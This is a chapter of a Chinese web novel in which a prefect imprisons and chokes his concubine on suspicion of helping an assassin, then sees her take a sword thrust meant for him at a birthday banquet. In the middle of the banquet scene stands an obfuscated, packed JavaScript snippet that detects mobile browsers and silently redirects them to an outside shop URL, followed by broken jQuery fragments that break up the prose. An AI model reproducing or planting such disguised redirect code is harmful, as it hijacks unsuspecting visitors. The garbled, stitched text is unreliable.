18. 第18章
    看着洛九娘这双眼睛,那晚的记忆再次浮现上来,一幕幕画面清晰又真实,甚至连手臂上的刀伤都隐隐作痛。

    “既然不说,那就继续在牢里反省。”

    谢无陵松开手,他力气大,洛九娘这会儿本来就头重脚轻,被他这么一丢开,身子便软软地倒在稻草堆里。

    谢无陵捂住手臂,掌心传来湿漉漉的痕迹。

    看来那刀伤又裂开了。

    他盯着洛九娘,嘴上却吩咐谢吏道:“去搜一下另外一匹绢布。”

    “是。”

    谢吏看了眼趴在地上的洛九娘,心下虽然有几分怜惜,但还是照着谢无陵的话去做了。

    “不要——”

    洛九娘听到谢无陵的吩咐,强撑起身,用手去拽谢吏的衣袖。

    她没多少力气,但谢吏却不敢挣扎。

    在听到洛九娘说‘不要’后,谢无陵心头更怒了,也更加确定另外一匹是给她同伙的。

    他扯过她的手臂,将她拉至自己身前。

    谢无陵大手掐住洛九娘的脖子,眼神是发了狠,“既然不是,为什么不让搜?”

    他手上力气很大,掐着洛九娘的命脉,让她呼吸不畅,苍白的脸色瞬间涨得通红。

    洛九娘张大眼睛,瞳仁黑白分明。她眼角湿润,声音也带了些沙哑的哽咽,“因为、不想让郎君看见。”

    谢无陵:“到底是什么东西,是我不能知道的?”

    如果她承认,他或许可以看在往日的情分上,放她一条生路。

    洛九娘闭上眼,不再看他,也不再言语。

    气氛陷入诡异的安静里,只有谢吏翻找东西时传来窸窸窣窣的声音。

    须臾之后,身侧终于来了谢吏的声音,打破了这静谧的氛围。

    “刺史,东西、东西找到了。”

    他掀开床上破破烂烂被褥,将找到的绢布递了过来。

    谢无陵放开洛九娘,然而等他看到绢布上的内容上,神情顿时僵住。

    这上面并非是什么联系同伙的证据,而是一幅贺寿图。

    这幅图应该还没完成,绢布下方的名字是“景澄赠”,后面那个‘送’字才绣了一半。

    景澄是他的字。

    看来她是想用他的名义赠送。

    谢吏呐呐出声,“过两天便是徐夫人的寿辰了,这幅绣图应该是如夫人准备的。”

    看着手里的贺寿图,一瞬间,谢无陵心头涌入很多复杂的情绪来。他合上帕子,一低头,亲眼看见洛九娘在自己面前倒了下去。

    “刺史,如夫人昏到了!”

    谢无陵眸光黑沉。

    他将绢布丢下,扯过洛九娘的手。这时他才发现,她身上滚烫得吓人。

    “快去找大夫。”

    谢吏:“属下这就去。”

    -

    洛九娘醒来时,浑浑噩噩的脑袋清醒了许多。

    她睁开眼,看见了守在自己身边的阿月。她张了张嘴,声音依旧沙哑,“阿月。”

    听到洛九娘的声音,阿月顿时便红了眼睛,小声啜泣道:“如夫人,您可算醒了,大夫说您这次伤风严重,若是醒不来——”

    洛九娘在阿月的搀扶下起了身,“我睡了多久?”

    阿月回:“一天一夜。”

    洛九娘坐起身来,环顾了一圈,发现自己是在南桥院的厢房。

    她又回来了。

    洛九娘摸了摸身侧,“我的绢布呢?”

    “什么绢布?”

    “一块绣着贺寿图的帕子。”

    “是这个吗?”

    阿月从梨花木椅上拿起帕子,“这是郎君今早送来的。”

    洛九娘匆匆接过绢布,翻来覆去地检查了一番,发现了背后有划开的痕迹。

    她心思微沉,看来谢无陵对她还是不放心的,即便是送给徐夫人的贺礼,他会都仔细检查一番。

    洛九娘收起绢布,又问道:“徐夫人寿辰是多久?”

    阿月:“就在今晚。”

    洛九娘嗯了声,掀开被子,从床上起身。

    她还没好利索,有些头重脚轻,从床上起来时差点就跌了下去,幸好阿月扶了一把。

    “如夫人要什么?奴去给您拿便是。”

    洛九娘道:“去帮我那些针线过来。”

    阿月虽然不理解,但还是照做了。

    洛九娘接过针线,把那个没绣完的‘送’字绣好,并且又把谢无陵划开的地方一一填补好。

    阿月在背后看着,悄然叹息了声。

    如夫人真是太惨了——

    自从去了别院,就没有一天安生日子。如今又因为和那劳什子刺客长得像,就被郎君关进地牢里受苦。

    洛九娘病还未好全,坐了会儿,就有点累了。

    她绣好绢布,叫了声阿月,“阿月,扶我起来。”

    阿月没应,自动递过来一双手。

    洛九娘搭在手上,手指碰到了一层粗糙的厚茧,是长年累月用兵器后留下的,跟阿月这种后宅侍女的手完全不同。

    洛九娘惊觉不对劲,抬头一看,竟然是谢无陵。

    她脸色一白。

    下意识往后退了一步。

    谢无陵见她这动作,不悦地皱起眉,“怕我?”

    洛九娘摇头。

    话虽是这么说,但澄澈的瞳仁里还是流露出一些恐惧来。

    “为什么要绣这个?”

    谢无陵从她手中抽走了绢布,发现上面的“送”字已经绣好了。

    洛九娘抬头,想伸手去抢,绢布却被谢无陵举得高高的。

    她无奈,只得轻声说:“听狱卒说,徐夫人的寿辰就在这几日,妾身想绣一副寿宴图献给她。”

    她的声音很轻很小,散在风里,几乎细微到听不见。

    “去年徐夫人在曲阳,妾身不能替郎君尽孝心。听闻今年徐夫人回了江州,妾身想尽一些绵薄之力。”

    谢无陵沉默,一时竟觉得手里的绢布烫手。

    他想过她找狱卒要来绢布,是给外面的同伙传递消息,却从未想过这绢布是她为母亲祝寿的。

    “那之前为何不说?”

    “郎君不信任妾身,即便是妾身说了,郎君也是不信的。”

    洛九娘微微偏头,露出了脖颈上的伤疤。语气有几分哀切,“妾身脖颈上的伤疤,就是最好的证明。”

    谢无陵不说话。

    在他这里,没有找到那晚的刺客,就不能信任她。

    这会儿谢无陵心下也有几分动容。

    他把绢布重新放回去,转身便走。

    “郎君。”

    洛九娘看着他的背影,急急地喊了声,“等妾身风寒好后,您还会把妾身送进地牢吗?”

    谢无陵没回答她这话。

    他停下脚步,回头看向洛九娘。

    他背着屋外的秋阳而站,表情看不真切,就连语气也听不出来变化:“晚上寿宴,我会派人来通知你的。”

    -

    谢无陵走后,房间内重归于安静。

    见洛九娘神色有些低迷,阿月张了张嘴,想说些安抚的话,却被洛九娘出声打断了。

    “阿月,我有些乏了,扶我回床上休息吧。”

    阿月点点头,只好将安抚的话一股脑地咽了回去。

    “是。”

    洛九娘躺在柔软的被褥里,想起在地牢的那些天,其实她心头还是有些后怕的,甚至闭上眼都觉得有老鼠在咬自己。

    脑袋里昏昏沉沉的,不多时,洛九娘便沉沉地睡了过去。

    这一觉一直睡到了申时,直到谢吏过来通知寿宴快开始了,她才被阿月叫醒。

    洛九娘梳洗打扮了一番,遮掩了憔悴的气色,人看着明艳了些。

    今晚来的人很多。

    洛九娘一到,便吸引了不少探究过来的目光。

    都说江州刺史谢无陵府中有一貌美姬妾,让人见之便过目不忘,荆州刺史赵承之子赵翦对她一见倾心,甚至不惜自损利益也要与谢无陵交换。

    今日这么一见,这美妾果然如传闻那般。

    自洛九娘一来,谢无陵便注意到了她。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037794|148133||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    今日是长辈寿辰,她穿得庄重了些,但消瘦的身影几乎快撑不起衣袍了,似乎风一吹就回倒。

    洛九娘被侍女带到了徐夫人面前,行了礼。

    徐夫人是老刺史的结发妻子,两人是年少夫妻,成亲后恩爱有加。没过多久,徐夫人便有了身孕。只是不巧的是,孩子快足月时,徐夫人在上山拜佛途中,遭遇劫匪,孩子没有保住,就连她自己也无法再孕。

    从那以后,夫妻两人关系变得冷淡,直到王夫人进府后,诞下长子。

    徐夫人已年过半旬,但面色红润,皮肤也紧致可破。

    只是多年的后宅斗争,让她眉眼多了几分凌厉。

    洛九娘将自己准备的贺寿图献了上去,温和有礼道:“夫人,这是妾身绣的贺礼,祝您福如东海,寿比南山。”

    徐夫人视线落到洛九娘身上。

    她回江州后,便听说了洛九娘的事,种种事迹让她尤为不喜,让她想起了曾经和她争宠的王夫人。

    如今见洛九娘行为举止庄重、规范,倒也没有难为她。

    她抬手让侍女收下图,并未当会儿事。

    洛九娘并未在意,献上贺礼后,便乖巧坐在了谢无陵的旁边。

    她刚坐下,就察觉到不远处紧紧粘着她的目光。

    是徐珏。

    看到洛九娘,徐珏急得抓耳挠腮。

    那几天,有阿陵的命令,他不能上监狱探望。后来又听说她受了风寒,昏迷不醒,他在南桥院外徘徊,却被谢吏拦在了外面。

    这会儿在寿宴上看到她,他心里有好多话。但有姑母看着,他又不敢大胆上来询问。

    谢无陵似乎也察觉到了徐珏的目光。

    他轻呷了一口酒,不咸不淡地开口:“我这表兄见过美人无数,如今倒是栽了跟头。”

    洛九娘明白谢无陵画中的意思。

    她脸色微白,小声为自己解释:“郎君,妾身与徐家表兄并未接触过。”

    谢无陵:“听说他来地牢看过你。”

    洛九娘如实回道:“他确实来找过我。”

    谢无陵没说话,只是自顾自地喝完了酒杯里的残酒。

    自从洛九娘被关入监牢后,徐珏就经常来他耳旁吹风,醉翁之意不在酒。他虽不会在意一个姬妾的存留,但就这么白白地送给徐珏,他心头定然是不悦的。

    当然,他的东西也容不得别人觊觎。

    洛九娘见此,给他往酒杯里倒了酒。

    她咬了下唇,正准备开口,忽而听到一阵丝竹之乐响起。

    是府中准备的舞姬上台了。

    洛九娘不得已停下话头,转头看向水榭台上,目光锁定到了一道熟悉的身影上。

    她瞳孔猛缩,衣袖下的双手捏紧成拳。

    在青影阁这么多年,洛姨教她最多的便是——遇事不能慌乱,不能让人看出端倪来。

    半晌后,她松开了手,面色恢复无常。

    洛九娘强撑起了笑意,视若往常那般淡然地饮茶、与周边人交谈。

    正热闹着,水榭台上正在跳舞的舞姬突然提剑朝谢无陵这边刺来。

    “郎君,小心!”

    洛九娘连忙起身,冲过去推开了背对着水榭台、正在与人饮酒的谢无陵。

    那一剑便直接刺入了她的胸口。

    突入起来的变故,让宾客们乱成一团。守在外面的侍卫及时冲了进来,将舞姬团团围住。

    谢无陵怔愣了一瞬,他想伸手,却没有接住洛九娘。她像是一片羽毛那般,轻飘飘地落到了地上。

    无声无息一般。

    “留活口。”

    谢无陵沉声吩咐冲进来的侍卫。

    “是。”

    谢无陵蹲下身,看着倒在地上、不省人事的的洛九娘。她胸口上的血似乎止不住了,咕噜咕噜地往外冒,濡湿了单薄的衣裙,顺着手臂流到地上。

    许是血的颜色过于鲜艳,刺到了他的眼睛。谢无陵忽而改变了注意,转头看向人群中的舞姬,声音是从未有过的阴狠冷冽。

    “抓住后,就地处死。”